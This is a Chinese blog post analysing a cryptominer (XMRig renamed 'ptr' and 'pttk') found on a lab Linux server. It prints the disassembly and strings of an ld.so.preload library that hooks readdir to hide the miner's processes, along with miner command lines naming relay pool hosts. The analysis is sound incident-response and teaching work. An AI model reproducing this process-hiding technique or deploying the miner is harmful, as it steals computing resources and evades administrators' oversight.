linux服务器挖矿程序分析

最近实验室的一台服务器上的cpu核心至少一半被100%占用,ps/top又看不到占用进程,怀疑被人挂挖矿了。

查找隐藏进程

一开始遇到了一点麻烦,搞半天查不出有什么可疑进程。netstat -antp检查网络链接看了一遍,到外网的连接都是正常的。再去看开机启动项init.d和定时任务cron,只找到某个用户下可疑的每分钟定时的启动项,链接指向一个/tmp/.font-unix下的程序(已删除)。后来得知这是上一次有个用户中的挖矿脚本,程序已经清理了,跟现在的问题没什么关系。光看/bin和/usr/bin下面的最近修改内容时间,有几个这几天正常安装的程序,没看出什么异常。

如果ps/top看不到进程,一种可能攻击者已经拿到root权限把系统里的ps/top替换了。为了进一步确认,下载了busybox,用自己的ls ps top检查,也没有看到什么异常,所以大概率问题不是出在ps/top上。

linux的/proc目录下列出系统中的所有进程,理论上如果内核模块没有被篡改,这里的数据是不太容易隐藏的。但是这台机器上的进程有大几千个,没法肉眼对比是不是有进程没被ps/top列出来。于是,unhide工具提供了这样的功能。用了unhide proc列出来之后,立刻出来了一堆可疑的隐藏进程。

➜  user unhide proc
...

Found HIDDEN PID: 7115
        Cmdline: "pttk"
        Executable: "/usr/bin/pttk (deleted)"
        Command: "pttk"
        $USER=root
        $PWD=/etc

Found HIDDEN PID: 17166
        Cmdline: "<none>"
        Executable: "<no link>"
        "<none>  ... maybe a transitory process"

Found HIDDEN PID: 17169
        Cmdline: "ptr"
        Executable: "/usr/bin/ptr"
        Command: "ptr"
        $USER=root
        $PWD=/etc

Found HIDDEN PID: 17170
        Cmdline: "ptr"
        Executable: "/usr/bin/ptr"
        Command: "ptr"
        $USER=root
        $PWD=/etc

...

上面是其中的一部分,这里名为ptr和pttk有几十个,还有两个cmdline为空的进程,比如这里的PID 17166。再回去找跟ptr有关的程序,这下找到了,发现ptr这个程序的修改时间是两个月之前,不知道是早就被放进去还是被刻意修改的。

➜  user ./busybox ls -al -lt /usr/bin | head -n 20
total 709928
drwxr-xr-x    2 root     root         77824 Oct 19 06:17 .
-rwxr-xr-x    1 root     root       2222496 Sep 28 07:14 io_demo
-rwxr-xr-x    1 root     root        350152 Sep 28 07:14 ucx_info
-rwxr-xr-x    1 root     root       5254512 Sep 28 07:14 ucx_perftest
-rwxr-xr-x    1 root     root         84120 Sep 28 07:14 ucx_read_profile
-rwxr-xr-x    1 root     root         22976 Sep 28 05:40 apiperf
-rwxr-xr-x    1 root     root         22976 Sep 28 05:40 copybw
-rwxr-xr-x    1 root     root         22976 Sep 28 05:40 copylat
-rwxr-xr-x    1 root     root         84960 Sep 28 05:40 sanity
-rwxr-xr-x    1 jeejio   jeejio      376936 Jun 12 07:24 neofetch
-rwxrwxrwx    1 root     root       8895728 Apr 24  2023 ptr
lrwxrwxrwx    1 root     root            25 Sep  1  2022 odt2txt -> /etc/alternatives/odt2txt

➜  user ll -lt /etc
total 1.7M
drwxr-xr-x  5 root lp      4.0K Oct 26 20:09 cups
-rw-r--r--  1 root root    5.4K Oct 20 18:08 passwd
-rw-r-----  1 root shadow  8.6K Oct 20 18:08 shadow
-rw-r--r--  1 root root    1.4K Oct 20 18:08 subgid
-rw-r--r--  1 root root    1.4K Oct 20 18:08 subuid
-rw-r-----  1 root shadow  1.8K Oct 20 18:08 gshadow
-rw-r--r--  1 root root    2.2K Oct 20 18:08 group
-rw-------  1 root root    5.4K Oct 20 18:08 passwd-
-rw-r--r--  1 root root       6 Oct 19 14:18 pid
-rw-r--r--  1 root root      12 Oct 19 14:18 ld.so.preload
-rw-r--r--  1 root root     11K Oct 19 13:41 ptr.so
-rw-------  1 root root    8.5K Oct 17 17:41 shadow-
-rw-------  1 root root    2.2K Oct 17 17:41 group-
-rw-------  1 root root    1.8K Oct 17 17:41 gshadow-
-rw-------  1 root root    1.4K Oct 17 17:41 subgid-
-rw-------  1 root root    1.4K Oct 17 17:41 subuid-
-rw-r--r--  1 root root    175K Oct 17 16:54 ld.so.cache
-rw-r--r--  1 root root     54K Oct 14 15:14 mailcap
drwxr-xr-x  2 root root    4.0K Sep 28 13:41 rc5.d
drwxr-xr-x  2 root root    4.0K Sep 28 13:41 rc6.d
drwxr-xr-x  2 root root    4.0K Sep 28 13:41 rc2.d
drwxr-xr-x  2 root root    4.0K Sep 28 13:41 rc3.d
drwxr-xr-x  2 root root    4.0K Sep 28 13:41 rc4.d
drwxr-xr-x  2 root root    4.0K Sep 28 13:41 rc0.d
drwxr-xr-x  2 root root    4.0K Sep 28 13:41 rc1.d
drwxr-xr-x  2 root root    4.0K Sep 28 13:41 init.d
drwxr-xr-x  2 root root    4.0K Sep 28 13:18 bash_completion.d
-rw-r--r--  1 root root     18K Sep 28 13:18 devscripts.conf
drwxr-xr-x  2 root root    4.0K Feb 13  2023 sudoers.d

➜  huanghaitong cat /etc/ld.so.preload
/etc/ptr.so
➜  huanghaitong cat /etc/pid
17166

ld.so.preload指向ptr.so,而ld.so.preload是用来加载动态连接的,这意味着ptr.so在所有用户程序启动时都会被尝试加载。同时,/etc/pid内容又是那个cmdline不可见的进程,这绝对是很有问题的。

主进程ptr分析

ptr程序文件和它对应进程的proc文件都是可见的,下面先分析一下进程和文件有什么行为。ls /proc/17166是空目录。

➜  user cat /proc/51794/cmdline
ptr-os2.dyn.ch:35719-uP100-px% 

➜  user cat /proc/7115/cmdline
pttk-ofast.yao.cl:19614-uP100-px

➜  user sudo ls -al /proc/51794/map_files
lr-------- 1 root root 64 Oct 26 20:43 7fb9558b4000-7fb9558b5000 -> /lib/x86_64-linux-gnu/libpthread-2.23.so
lr-------- 1 root root 64 Oct 26 20:43 7fb9558b5000-7fb9558b6000 -> /lib/x86_64-linux-gnu/libpthread-2.23.so
lr-------- 1 root root 64 Oct 26 20:43 7fb9558ba000-7fb9558bb000 -> /etc/ptr.so
lr-------- 1 root root 64 Oct 26 20:43 7fb9558bb000-7fb955abb000 -> /etc/ptr.so
lr-------- 1 root root 64 Oct 26 20:43 7fb955abb000-7fb955abc000 -> /etc/ptr.so
lr-------- 1 root root 64 Oct 26 20:43 7fb955abc000-7fb955ae2000 -> /lib/x86_64-linux-gnu/ld-2.23.so

➜  huanghaitong sudo cat /proc/56088/environ
XDG_SESSION_ID=732511SHELL=/bin/bashTERM=xtermSSH_CLIENT=10.208.104.201 54134 20022SSH_TTY=/dev/pts/128USER=rootLS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:LD_LIBRARY_PATH=/usr/local/cuda-10.2/lib64:PATH=/usr/local/cuda-10.2/bin/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/binMAIL=/var/mail/rootPWD=/etcLANG=en_US.UTF-8HOME=/rootSHLVL=3MATHEMATICA_HOME=/opt/Wolfram/WolframEngine/12.2LOGNAME=rootXDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktopSSH_CONNECTION=10.208.104.201 54134 [数据划掉] LESSOPEN=| /usr/bin/lesspipe %sXDG_RUNTIME_DIR=/run/user/0LESSCLOSE=/usr/bin/lesspipe %s %s_=/usr/bin/nohupOLDPWD=/usr/bin% 

➜  user cat /proc/51794/stat
51794 (ptr) S 1 87986 87881 0 -1 1077936192 1978656 168 0 7 2631094631 4269316 0 0 20 0 102 0 4096767867 10258731008 626387 18446744073709551615 1 1 0 0 0 0 0 4100 17931 0 0 0 -1 52 0 0 0 0 0 0 0 0 0 0 0 0 0

➜  user cat /proc/51794/stat
51794 (ptr) S 1 87986 87881 0 -1 1077936192 1978656 168 0 7 2632844382 4271992 0 0 20 0 102 0 4096767867 10258731008 626387 18446744073709551615 1 1 0 0 0 0 0 4100 17931 0 0 0 -1 52 0 0 0 0 0 0 0 0 0 0 0 0 0

➜  user cat /proc/7115/stat
7115 (pttk) S 1 87986 87881 0 -1 1077936192 1316390 174 1859 0 1840930536 3065054 0 0 20 0 102 0 4040754710 12506669056 535120 18446744073709551615 1 1 0 0 0 0 0 4100 17931 0 0 0 -1 65 0 0 0 0 0 0 0 0 0 0 0 0 0

➜  user sudo ls -al /proc/51794/fd
total 0
dr-x------ 2 root root  0 Oct 29 22:54 .
dr-xr-xr-x 9 root root  0 Oct 26 17:29 ..
lr-x------ 1 root root 64 Oct 29 22:54 0 -> /dev/null
l-wx------ 1 root root 64 Oct 29 22:54 1 -> /dev/null
lrwx------ 1 root root 64 Oct 29 22:54 10 -> anon_inode:[eventfd]
lrwx------ 1 root root 64 Oct 29 22:54 11 -> anon_inode:[eventfd]
lr-x------ 1 root root 64 Oct 29 22:54 12 -> /dev/null
lrwx------ 1 root root 64 Oct 29 22:54 13 -> socket:[3567551097]
l-wx------ 1 root root 64 Oct 29 22:54 2 -> /dev/null
l-wx------ 1 root root 64 Oct 29 22:54 3 -> /dev/null
lrwx------ 1 root root 64 Oct 29 22:54 4 -> anon_inode:[eventpoll]
lr-x------ 1 root root 64 Oct 29 22:54 5 -> pipe:[3483321626]
l-wx------ 1 root root 64 Oct 29 22:54 6 -> pipe:[3483321626]
lr-x------ 1 root root 64 Oct 29 22:54 7 -> pipe:[3483321627]
l-wx------ 1 root root 64 Oct 29 22:54 8 -> pipe:[3483321627]
lrwx------ 1 root root 64 Oct 29 22:54 9 -> anon_inode:[eventfd]
➜  user sudo ls -al /proc/7115/fd
total 0
dr-x------ 2 root root  0 Oct 29 22:54 .
dr-xr-xr-x 9 root root  0 Oct 26 17:29 ..
lr-x------ 1 root root 64 Oct 29 22:54 0 -> /dev/null
l-wx------ 1 root root 64 Oct 29 22:54 1 -> /dev/null
lrwx------ 1 root root 64 Oct 29 22:54 10 -> anon_inode:[eventfd]
lrwx------ 1 root root 64 Oct 29 22:54 11 -> anon_inode:[eventfd]
lr-x------ 1 root root 64 Oct 29 22:54 12 -> /dev/null
lrwx------ 1 root root 64 Oct 29 22:54 13 -> socket:[3567551097]
l-wx------ 1 root root 64 Oct 29 22:54 2 -> /dev/null
l-wx------ 1 root root 64 Oct 29 22:54 3 -> /dev/null
lrwx------ 1 root root 64 Oct 29 22:54 4 -> anon_inode:[eventpoll]
lr-x------ 1 root root 64 Oct 29 22:54 5 -> pipe:[3483321626]
l-wx------ 1 root root 64 Oct 29 22:54 6 -> pipe:[3483321626]
lr-x------ 1 root root 64 Oct 29 22:54 7 -> pipe:[3483321627]
l-wx------ 1 root root 64 Oct 29 22:54 8 -> pipe:[3483321627]
lrwx------ 1 root root 64 Oct 29 22:54 9 -> anon_inode:[eventfd]

pttk映射可疑文件
inode 258084830 /etc/tty.so (deleted)
/anon_hugepage (deleted)

ptr映射可疑文件
inode 489357449 /etc/ptr.so

总的来说所有ptr发起进程的记录信息是一致的,而ptr和pttk的cmdline、environ、fd有点不同,但是比较接近的。
由于现在ps看不了进程,只能肉眼看stat文件的时间字段来估计进程的cpu时间。可以看到ptr的stime字段走的非常快,差不多一秒5000,可以说一秒占了5000%cpu,这最早看到的48核心被100%的占用是一致的。
但是pttk虽然总共的执行时间也非常大,但目前似乎处于sleeping状态,只是非常缓慢的增长。按照启动时间估计,pttk的运行时间约为14天,ptr的运行时间为7天多。然而如果按5000%cpu估计,pttk的cpu执行时间为4天多,其他时间可能在休眠。

把ptr程序上传到在线病毒检测平台。腾讯哈勃分析系统并没报毒,说没有什么异常操作。VirusTotal的聚合在线查毒,29/63个引擎报异常,主要显示的是Linux.CoinMiner。objdump命令导出程序的符号表,发现程序完全没有混淆,找到一个关键函数名xmrig23cryptonight_double_hash。结合程序的行为,可以100%确定是一个XMR的挖矿程序。

但是pttk和tty.so被删除了,pttk似乎仍在后台缓慢运行,让人怀疑这是一个监控进程。考虑到服务器硬盘足够大,这两个程序文件应该还没被覆写,可以尝试恢复。使用debugfs找到被删除文件的inode之后,重新dump出来,检测仍然是完整的程序文件。结果发现pttk和ptr的程序内容是完全一致的,而tty.so与ptr.so的符号表非常接近,但有少量差异。结果表明pttk和ptr应该是同一套挖矿程序的副本。

注入库文件ptr.so分析

ptr文件大小达到8MB,但ptr.so的ELF文件只有11k多,这说明ptr.so是一个相当小的附属库。下面直接objdump ptr.so分析它的符号和反汇编代码。由于它的代码不多,符号没有混淆,可以直接看汇编代码分析行为。

Symbol table '.symtab' contains 74 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000000190     0 SECTION LOCAL  DEFAULT    1
     2: 00000000000001b8     0 SECTION LOCAL  DEFAULT    2
     3: 00000000000001f8     0 SECTION LOCAL  DEFAULT    3
     4: 0000000000000468     0 SECTION LOCAL  DEFAULT    4
     5: 0000000000000556     0 SECTION LOCAL  DEFAULT    5
     6: 0000000000000590     0 SECTION LOCAL  DEFAULT    6
     7: 00000000000005d0     0 SECTION LOCAL  DEFAULT    7
     8: 0000000000000660     0 SECTION LOCAL  DEFAULT    8
     9: 00000000000007b0     0 SECTION LOCAL  DEFAULT    9
    10: 00000000000007c8     0 SECTION LOCAL  DEFAULT   10
    11: 00000000000008c0     0 SECTION LOCAL  DEFAULT   11
    12: 0000000000000d88     0 SECTION LOCAL  DEFAULT   12
    13: 0000000000000d96     0 SECTION LOCAL  DEFAULT   13
    14: 0000000000000e00     0 SECTION LOCAL  DEFAULT   14
    15: 0000000000000e30     0 SECTION LOCAL  DEFAULT   15
    16: 0000000000201000     0 SECTION LOCAL  DEFAULT   16
    17: 0000000000201010     0 SECTION LOCAL  DEFAULT   17
    18: 0000000000201020     0 SECTION LOCAL  DEFAULT   18
    19: 0000000000201028     0 SECTION LOCAL  DEFAULT   19
    20: 0000000000201030     0 SECTION LOCAL  DEFAULT   20
    21: 00000000002011c0     0 SECTION LOCAL  DEFAULT   21
    22: 00000000002011e0     0 SECTION LOCAL  DEFAULT   22
    23: 0000000000201268     0 SECTION LOCAL  DEFAULT   23
    24: 0000000000201270     0 SECTION LOCAL  DEFAULT   24
    25: 0000000000000000     0 SECTION LOCAL  DEFAULT   25
    26: 00000000000008c0     0 FUNC    LOCAL  DEFAULT   11 call_gmon_start
    27: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
    28: 0000000000201000     0 OBJECT  LOCAL  DEFAULT   16 __CTOR_LIST__
    29: 0000000000201010     0 OBJECT  LOCAL  DEFAULT   17 __DTOR_LIST__
    30: 0000000000201020     0 OBJECT  LOCAL  DEFAULT   18 __JCR_LIST__
    31: 00000000000008e0     0 FUNC    LOCAL  DEFAULT   11 __do_global_dtors_aux
    32: 0000000000201270     1 OBJECT  LOCAL  DEFAULT   24 completed.6364
    33: 0000000000201278     8 OBJECT  LOCAL  DEFAULT   24 dtor_idx.6366
    34: 0000000000000960     0 FUNC    LOCAL  DEFAULT   11 frame_dummy
    35: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
    36: 0000000000201008     0 OBJECT  LOCAL  DEFAULT   16 __CTOR_END__
    37: 0000000000000ed0     0 OBJECT  LOCAL  DEFAULT   15 __FRAME_END__
    38: 0000000000201020     0 OBJECT  LOCAL  DEFAULT   18 __JCR_END__
    39: 0000000000000d50     0 FUNC    LOCAL  DEFAULT   11 __do_global_ctors_aux
    40: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS lib.c
    41: 0000000000201268     8 OBJECT  LOCAL  DEFAULT   23 process_to_filter
    42: 000000000000098c   139 FUNC    LOCAL  DEFAULT   11 get_dir_name
    43: 0000000000000a17   282 FUNC    LOCAL  DEFAULT   11 get_process_name
    44: 0000000000201280     8 OBJECT  LOCAL  DEFAULT   24 original_readdir64
    45: 0000000000201288     8 OBJECT  LOCAL  DEFAULT   24 original_readdir
    46: 00000000002011e0     0 OBJECT  LOCAL  DEFAULT  ABS _GLOBAL_OFFSET_TABLE_
    47: 0000000000201028     0 OBJECT  LOCAL  DEFAULT   19 __dso_handle
    48: 0000000000201018     0 OBJECT  LOCAL  DEFAULT   17 __DTOR_END__
    49: 0000000000201030     0 OBJECT  LOCAL  DEFAULT  ABS _DYNAMIC
    50: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND snprintf@@GLIBC_2.2.5
    51: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    52: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
    53: 0000000000000d88     0 FUNC    GLOBAL DEFAULT   12 _fini
    54: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fopen@@GLIBC_2.2.5
    55: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fgets@@GLIBC_2.2.5
    56: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strlen@@GLIBC_2.2.5
    57: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@@GLIBC_2.2
    58: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND dlerror@@GLIBC_2.2.5
    59: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sscanf@@GLIBC_2.2.5
    60: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND readlink@@GLIBC_2.2.5
    61: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND dirfd@@GLIBC_2.2.5
    62: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strspn@@GLIBC_2.2.5
    63: 0000000000201270     0 NOTYPE  GLOBAL DEFAULT  ABS __bss_start
    64: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strcmp@@GLIBC_2.2.5
    65: 0000000000201290     0 NOTYPE  GLOBAL DEFAULT  ABS _end
    66: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fclose@@GLIBC_2.2.5
    67: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND dlsym@@GLIBC_2.2.5
    68: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND stderr@@GLIBC_2.2.5
    69: 0000000000000c40   271 FUNC    GLOBAL DEFAULT   11 readdir
    70: 0000000000201270     0 NOTYPE  GLOBAL DEFAULT  ABS _edata
    71: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fprintf@@GLIBC_2.2.5
    72: 0000000000000b31   271 FUNC    GLOBAL DEFAULT   11 readdir64
    73: 00000000000007b0     0 FUNC    GLOBAL DEFAULT    9 _init

可以看到这是一个C程序,大部分是程序用的到GLIBC 2.2.5的动态连接,实际的函数只有readdir,process_to_filter,readdir64, get_dir_name,get_process_name这几个。以readdir函数的汇编为例:

0000000000000c50 <readdir>:
 c50:   55                      push   %rbp
 c51:   48 89 e5                mov    %rsp,%rbp
 c54:   48 81 ec 20 02 00 00    sub    $0x220,%rsp
 c5b:   48 89 bd e8 fd ff ff    mov    %rdi,-0x218(%rbp)
 c62:   48 8b 05 27 06 20 00    mov    0x200627(%rip),%rax        # 201290 <original_readdir>
 c69:   48 85 c0                test   %rax,%rax
 c6c:   75 52                   jne    cc0 <readdir+0x70>
 c6e:   48 8d 05 90 01 00 00    lea    0x190(%rip),%rax        # e05 <_fini+0x6d>
 c75:   48 89 c6                mov    %rax,%rsi
 c78:   48 c7 c7 ff ff ff ff    mov    $0xffffffffffffffff,%rdi
 c7f:   e8 48 fc ff ff          callq  8cc <dlsym@plt>
 c84:   48 89 05 05 06 20 00    mov    %rax,0x200605(%rip)        # 201290 <original_readdir>
 c8b:   48 8b 05 fe 05 20 00    mov    0x2005fe(%rip),%rax        # 201290 <original_readdir>
 c92:   48 85 c0                test   %rax,%rax
 c95:   75 29                   jne    cc0 <readdir+0x70>
 c97:   e8 c0 fb ff ff          callq  85c <dlerror@plt>
 c9c:   48 89 c2                mov    %rax,%rdx
 c9f:   48 8d 0d 45 01 00 00    lea    0x145(%rip),%rcx        # deb <_fini+0x53>
 ca6:   48 8b 05 2b 05 20 00    mov    0x20052b(%rip),%rax        # 2011d8 <_DYNAMIC+0x1a8>
 cad:   48 8b 00                mov    (%rax),%rax
 cb0:   48 89 ce                mov    %rcx,%rsi
 cb3:   48 89 c7                mov    %rax,%rdi
 cb6:   b8 00 00 00 00          mov    $0x0,%eax
 cbb:   e8 1c fc ff ff          callq  8dc <fprintf@plt>
 cc0:   48 8b 05 c9 05 20 00    mov    0x2005c9(%rip),%rax        # 201290 <original_readdir>
 cc7:   48 8b 95 e8 fd ff ff    mov    -0x218(%rbp),%rdx
 cce:   48 89 d7                mov    %rdx,%rdi
 cd1:   ff d0                   callq  *%rax
 cd3:   48 89 45 f8             mov    %rax,-0x8(%rbp)
 cd7:   48 83 7d f8 00          cmpq   $0x0,-0x8(%rbp)
 cdc:   74 7b                   je     d59 <readdir+0x109>
 cde:   48 8d 8d f0 fe ff ff    lea    -0x110(%rbp),%rcx
 ce5:   48 8b 85 e8 fd ff ff    mov    -0x218(%rbp),%rax
 cec:   ba 00 01 00 00          mov    $0x100,%edx
 cf1:   48 89 ce                mov    %rcx,%rsi
 cf4:   48 89 c7                mov    %rax,%rdi
 cf7:   e8 a0 fc ff ff          callq  99c <get_dir_name>
 cfc:   85 c0                   test   %eax,%eax
 cfe:   74 59                   je     d59 <readdir+0x109>
 d00:   48 8d 85 f0 fe ff ff    lea    -0x110(%rbp),%rax
 d07:   48 8d 35 f1 00 00 00    lea    0xf1(%rip),%rsi        # dff <_fini+0x67>
 d0e:   48 89 c7                mov    %rax,%rdi
 d11:   e8 96 fb ff ff          callq  8ac <strcmp@plt>
 d16:   85 c0                   test   %eax,%eax
 d18:   75 3f                   jne    d59 <readdir+0x109>
 d1a:   48 8b 45 f8             mov    -0x8(%rbp),%rax
 d1e:   48 8d 50 13             lea    0x13(%rax),%rdx
 d22:   48 8d 85 f0 fd ff ff    lea    -0x210(%rbp),%rax
 d29:   48 89 c6                mov    %rax,%rsi
 d2c:   48 89 d7                mov    %rdx,%rdi
 d2f:   e8 f3 fc ff ff          callq  a27 <get_process_name>
 d34:   85 c0                   test   %eax,%eax
 d36:   74 21                   je     d59 <readdir+0x109>
 d38:   48 8b 15 31 05 20 00    mov    0x200531(%rip),%rdx        # 201270 <process_to_filter>
 d3f:   48 8d 85 f0 fd ff ff    lea    -0x210(%rbp),%rax
 d46:   48 89 d6                mov    %rdx,%rsi
 d49:   48 89 c7                mov    %rax,%rdi
 d4c:   e8 5b fb ff ff          callq  8ac <strcmp@plt>
 d51:   85 c0                   test   %eax,%eax
 d53:   0f 84 67 ff ff ff       je     cc0 <readdir+0x70>
 d59:   48 8b 45 f8             mov    -0x8(%rbp),%rax
 d5d:   c9                      leaveq
 d5e:   c3                      retq
 d5f:   90                      nop

可以看到大概做了这样函数调用:

  • 动态连接调用原始的readdir()或readdir64()
  • get_dir_name()
  • strcmp() 相等返回
  • get_process_name()
  • strcmp() 相等返回

再结合.rodata段的数据,我们可以得到scanf和printf的用到的字符串字面量。

ptr.so .rodata段
00000da0: ff48 83c4 08c3 7074 7200 2f70 726f 632f  .H....ptr./proc/
00000db0: 7365 6c66 2f66 642f 2564 0030 3132 3334  self/fd/%d.01234
00000dc0: 3536 3738 3900 2f70 726f 632f 2573 2f73  56789./proc/%s/s
00000dd0: 7461 7400 7200 2564 2028 255b 5e29 5d73  tat.r.%d (%[^)]s
00000de0: 0072 6561 6464 6972 3634 0045 7272 6f72  .readdir64.Error
00000df0: 2069 6e20 646c 7379 6d3a 2025 730a 002f   in dlsym: %s../
00000e00: 7072 6f63 0072 6561 6464 6972 0000 0000  proc.readdir....

同样的查看get_dir_name()和get_proc_name()函数调用,并把字面量作为对照,可以看到这样的过程:

get_dir_name
  dirfd()
  snprintf() "/proc/self/fd/%d"
  readlink()

get_process_name
  strspn() "0123456789"
  snprintf() "/proc/%s/stat"
  fopen() "r"
  fgets()
  fclose()
  sscanf() "%d (%[^)]s"

这样完全知道确定ptr.so的行为了。考虑到read_dir是linux的系统调用,ptr.so被装入后会覆盖原来的函数。然后程序调用readdir的时候判断名为ptr的进程,如果是则返回未找到,否则调用正常的readdir。因此所有使用readdir的调用都不会显示ptr,达到隐藏的目的。

进行一个测试:编写一个Hello world程序并命名为ptr执行,如果ptr.so存在,则ps不显示;如果移除ptr.so,ps命令会提示ptr.so加载失败,然后ptr程序会被显示。

然而,ptr.so似乎并不是唯一的隐藏手段,因为移除ptr.so后仍然无法用ps看到正在挖矿的进程。

登录连接问题

这台服务器没有公网ip,因此发起挖矿的行为应该来自于内网的其他主机。之前查看进程的时候一个值得注意的点是ptr和pttk进程的environ里有会话信息:

➜  user sudo cat /proc/56088/environ
XDG_SESSION_ID=732511SHELL=/bin/bashTERM=xtermSSH_CLIENT=10.208.104.201 54134 20022SSH_TTY=/dev/pts/128USER=root

不出意外这是从内网地址10.208.104.201以root用户登录执行的。然而,我们很早就弃用了root账户登录,没有人知道root密码,SSL的root登录策略也为prohibited-password。可能key已经被加入/root/.ssh/authorized_keys实现登录。然而该文件的最近修改时间是一年多以前,因此是人为引入还是通过漏洞提权加入的,还是其他方式登录还有待确定。与此同时,last指令、root的bash_history都显示root用户最近未登录过,所以启动命令是如何发起的还是一个令人疑惑的地方。

不过可以肯定的是10.208.104.201是一个真实存在的内网固定主机,可以从多个服务器ping到,并且开放了一个网页端口。不过这个内网非常大,暂时无法得知该IP对应的主机是哪里的。

网络连接分析

理论上挖矿程序需要与外网通信到矿池上传数据,然而netstat并没有看到与矿池的可疑的外网连接。起初猜测要么联网行为间接定时发起的,要么是通过什么手段隐藏了netstat的显示。

注意到ptr和pttk进程的cmdline,ptr-os2.dyn.ch:35719-uP100-px和pttk-ofast.yao.cl:19614-uP100-px。ptr –help发现它的真实名称其实是xmrig,命令参数中-o指定连接地址,-u指定用户,-p指定密码。这里有两个域名s2.dyn.ch和fast.yao.cl,这是两个真实的域名,但又不像真实的矿池地址。

去ping这个域名会发现它实际指向两个内网地址fast.yao.cl->10.3.0.180和s2.dyn.ch->192.168.2.5。这个时候能从多个服务器ping到192.168.2.5但不能到10.3.0.180。一个合理的推测是192.168.2.5可能是一台受到攻击的主机,用于转发数据。实际上DNS工作都是正常的,攻击者这么做应该是试图用一个指向内网IP的域名掩盖内网地址。

总结和尚未解决的问题

从目前看到信息总结,可以推测发生了如下行为:

  • 攻击者通过某种方式从10.208.104.201登录,并且能够以root权限执行操作
  • 攻击者把xmrig重命名为ptr和pttk放置在bin目录中执行
  • 攻击者试图通过ld.so.preload动态链接库加载隐藏ptr和pttk的查看
  • 至于为什么有两个程序ptr和pttk而pttk又被删除,从pid和执行时间判断,可能是因为起初攻击者执行的是pttk,上传地址是10.3.0.180;之后因为10.3.0.180下线,程序进入休眠,攻击者又重新执行新的进程并指向地址192.168.2.5

总的来说,从攻击者的操作手法上来看并没有什么难以理解的高端操作,但相比直接执行挖矿程序做了一些隐藏手段,包括隐藏进程显示和隐藏外网连接。

不过,还有几个问题仍未解决:
1. 攻击者如何获得root登录执行权限
2. 移除ptr.so后为什么仍然看不到进程,如果是还有其他隐藏进程的方法,为什么攻击者还要多此一举加入ptr.so?
3. xmrig应该是以进程组的方式启动,推测17166可能是一个重要进程,但什么ls /proc/17166是空目录,而可以看到其他进程信息。
4. /proc/<pid>/maps 可以看到ptr映射了一个被删除的/anon_hugepage文件,这似乎不是一个普通的文件,它的inode是不确定的,经查这与linux透明大页管理有关,这是否有什么特殊用途?

更新-2024元旦

年底前又有服务器挖矿被网管发警告了。结果发现地址是10.3.0.180,就是之前的作为挖矿上传节点的服务器。 为什么会这样呢? 原来是之前一段时间大家都发现这个服务器连不上,但现场过去看起来正常,以为这个服务器网卡坏了,就一直没有管。实际上是因为这个服务器之前挖矿被网管检测到了,把这台的MAC地址封了。这几天有人突然想要修,买了新网卡装上去,MAC地址换了就能联网了,以为这样就修好了。于是一联网,休眠的挖矿脚本又重新开始运行了。。。

